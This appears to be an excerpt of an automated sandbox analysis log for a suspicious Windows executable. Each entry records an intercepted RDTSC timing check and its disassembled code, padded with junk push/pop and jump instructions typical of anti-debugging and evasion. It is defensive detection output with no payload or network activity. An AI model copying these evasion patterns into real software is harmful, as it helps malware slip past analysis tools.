Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204324 second address: 1204341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F27h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204341 second address: 1204345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204345 second address: 1204349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204487 second address: 120448D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204603 second address: 120460A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120460A second address: 1204611 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B69B7 second address: 11B6A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D18DFh], ecx 0x00000010 mov ebx, dword ptr [ebp+12480A38h] 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FCD80B68F18h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 add eax, ebx 0x00000032 jns 00007FCD80B68F18h 0x00000038 push eax 0x00000039 push edx 0x0000003a push esi 0x0000003b push edi 0x0000003c pop edi 0x0000003d pop esi 0x0000003e pop edx 0x0000003f mov dword ptr [esp], eax 0x00000042 movzx edx, ax 0x00000045 push 00000004h 0x00000047 adc ch, 00000063h 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6A0E second address: 11B6A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11B6A12 second address: 11B6A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1204741 second address: 1204787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007FCD80B38A12h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FCD80B38A15h 0x00000012 jmp 00007FCD80B38A10h 0x00000017 je 00007FCD80B38A0Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12048C3 second address: 12048C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12048C7 second address: 12048E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12052C5 second address: 12052E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F1Dh 0x00000009 jmp 00007FCD80B68F22h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120DDA1 second address: 120DDB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A0Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120DDB5 second address: 120DDBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120C105 second address: 120C10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120C9C7 second address: 120C9DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120CCED second address: 120CCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120CCF1 second address: 120CD07 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCD80B68F1Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120D260 second address: 120D26D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120D26D second address: 120D273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120D273 second address: 120D281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FCD80B38A06h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 120DA99 second address: 120DAA3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1211968 second address: 121196C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1210B40 second address: 1210B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1210B45 second address: 1210B4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12110CB second address: 12110DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FCD80B68F16h 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1211485 second address: 12114B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B38A10h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FCD80B38A15h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121162B second address: 121162F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121162F second address: 1211639 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD80B38A06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121E16B second address: 121E193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FCD80B68F16h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FCD80B68F27h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121D088 second address: 121D08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121D08C second address: 121D09C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD80B68F16h 0x00000008 js 00007FCD80B68F16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 121D09C second address: 121D0A1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12257CC second address: 12257D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1225958 second address: 1225963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1225B2D second address: 1225B81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FCD80B68F24h 0x0000000e push ecx 0x0000000f jl 00007FCD80B68F16h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 pop ecx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FCD80B68F26h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230DDB second address: 1230DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230DDF second address: 1230DEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11664BD second address: 11664C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230AD3 second address: 1230AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230AD7 second address: 1230ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230ADD second address: 1230AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FCD80B68F16h 0x0000000d jnc 00007FCD80B68F16h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230AF2 second address: 1230B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230B01 second address: 1230B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F20h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1230B15 second address: 1230B23 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12336B3 second address: 12336B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 123317F second address: 1233189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1233189 second address: 123318D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1235A9B second address: 1235AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 123CF70 second address: 123CF7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FCD80B68F16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1241334 second address: 1241341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1241341 second address: 1241345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1248184 second address: 12481A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jbe 00007FCD80B38A06h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 jmp 00007FCD80B38A0Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12481A6 second address: 12481AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12481AB second address: 12481B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DC12 second address: 124DC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DC18 second address: 124DC58 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCD80B38A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FCD80B38A0Ch 0x00000010 js 00007FCD80B38A06h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FCD80B38A19h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 jp 00007FCD80B38A06h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DC58 second address: 124DC73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F25h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DDE0 second address: 124DDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DDE6 second address: 124DDFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Ah 0x00000007 jns 00007FCD80B68F16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DDFA second address: 124DE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FCD80B38A06h 0x0000000a ja 00007FCD80B38A06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DE0A second address: 124DE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF5C second address: 124DF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF60 second address: 124DF66 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF66 second address: 124DF7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jl 00007FCD80B38A06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF7A second address: 124DF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FCD80B68F1Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF8C second address: 124DF96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124DF96 second address: 124DF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E0D2 second address: 124E0E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Ah 0x00000007 jns 00007FCD80B38A06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E23B second address: 124E243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E243 second address: 124E249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E363 second address: 124E367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E367 second address: 124E380 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A15h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E380 second address: 124E389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E389 second address: 124E38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E695 second address: 124E699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 124E699 second address: 124E69F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1250B05 second address: 1250B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCD80B68F1Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FCD80B68F16h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125455F second address: 1254565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1254565 second address: 1254570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1254570 second address: 1254574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1254574 second address: 1254580 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCD80B68F16h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1254580 second address: 12545AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A19h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jno 00007FCD80B38A06h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12545AF second address: 12545B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12545B3 second address: 12545B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125412E second address: 1254133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F55D second address: 125F561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F561 second address: 125F565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F565 second address: 125F56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F56D second address: 125F5A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FCD80B68F16h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FCD80B68F29h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCD80B68F1Ah 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F5A4 second address: 125F5B4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCD80B38A06h 0x00000008 jo 00007FCD80B38A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 125F5B4 second address: 125F5BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD80B68F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 126DA26 second address: 126DA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12716DD second address: 12716FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F21h 0x00000009 popad 0x0000000a push ebx 0x0000000b jo 00007FCD80B68F16h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 12716FC second address: 1271701 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
